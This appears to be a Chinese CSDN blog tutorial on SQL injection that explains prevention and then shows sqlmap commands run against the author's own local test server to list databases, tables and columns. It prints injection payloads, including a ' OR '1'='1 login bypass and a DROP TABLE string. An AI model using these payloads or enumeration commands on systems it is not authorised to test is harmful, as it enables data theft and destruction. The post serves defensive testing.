SQL防注入攻击之检测工具sqlmap的使用

今天突然想到了SQL防注入,于是想测试一下,顺便也把教程发出来
这里使用到的是sqlmap工具,一款用python编写的
请注意:这个sqlmap需要python2才可以正常执行,python3不行

前言:
一、什么是SQL防注入?

攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

举例:’ OR ‘1’='1

这是最常见的 SQL注入攻击,当我们输如用户名 admin ,然后密码输如’ OR ‘1’=1=‘1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是SELECT * FROM user WHERE username=’’ and password=’’,经过参数拼接后,会执行 SQL语句 SELECT * FROM user WHERE username=’’ and password=’’ OR ‘1’=‘1’,这个时候1=1是成立,自然就跳过验证了。
这样下来是很危险的
但是如果再严重一点,密码输如的是’;DROP TABLE user;–,那么 SQL命令为SELECT * FROM user WHERE username=‘admin’ and password=’’;drop table user;–’ 这个时候我们就直接把这个表给删除了。

二、如何预防SQL注入

在python中,我们可以使用参数字符串方法,这样的话即使我们使用 SQL语句伪造成参数,到了服务端的时候,这个伪造 SQL语句的参数也只是简单的字符,并不能起到攻击的作用。

对进入数据库的特殊字符(’"尖括号&*;等)进行转义处理,或编码转换。

在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。
避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。

下面进入正题:如何使用检测工具进行测试

1、下载安装
在sqlmap的网站上下载对应的压缩文件

http://sqlmap.org/

2、解压到一个文件夹,如下
在这里插入图片描述
按住shift按键,在此处打开shell窗口,输入

 python sqlmap.py

出现如下说明安装成功
在这里插入图片描述
下面开始测试,先开启服务器,先使用GET请求测试:

python sqlmap.py -u "http://192.168.2.20:8800/server/doc/mydoc/?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0aW1lIjoiMTYwMzI2ODA0MC40ODkzMTc3IiwiYXV0aG9yaXR5IjozLCJ1aWQiOjF9.XLLvYYc5ygrcnL23325qfbDOWO7nLF_Q539tU0C3kwM&dim_doc_name=发布"  --method=GET

注意:token是服务端要求的,这里先传一个参数dim_doc_name,看看结果
在这里插入图片描述
出现以上结果说明,注入没有成功,是安全的

下面我们写一个可以注入的接口,然后测试:

 python sqlmap.py -u "http://192.168.2.20:8800/server/doc/test/?x=uid=888"  --method=GET                                            

结果

在这里插入图片描述
我们看到这样的信息,就是有注入的
下面通过这个注入来获取一些数据库的信息,加上参数 --dbs

 python sqlmap.py -u "http://192.168.2.20:8800/server/doc/test/?x=uid=888"  --method=GET --dbs

结果
在这里插入图片描述
我们看到获取到了所有的库
下面获取所有的表信息

 python sqlmap.py -u "http://192.168.2.20:8800/server/doc/test/?x=uid=888"  --method=GET -D test_projects_doc --tables

-D 后面接库名 --tables获取表信息

结果
在这里插入图片描述
再进一步获取表中的字段

python sqlmap.py -u "http://192.168.2.20:8800/server/doc/test/?x=uid=888"  --method=GET -D test_projects_doc -T doc_info --columns

结果
在这里插入图片描述
完成

除此之外还可以携带cookie
拼接以下信息

--cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST

还可以拼接请求头

 python sqlmap.py -u "http://192.168.0.192:8998/performance/parameter/name?pagesize=50&currentpage=1&query=%7B%22type%22:1,%22query%22:[]%7D&sorttype=asc&quicksearch=parameter_name&department=10&orgid=d10&parameter_classify=%E4%B8%AA%E4%BA%BA%E6%9C%88%E5%8F%82%E6%95%B0&total=570"  --method=GET --headers="Origin:192.168.2.20\nAuthorization:2280fa25-f66a-39c8-a88b-bd8d203cf754" --dbs

参数参考:
https://blog.csdn.net/qq_38684504/article/details/96364026

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值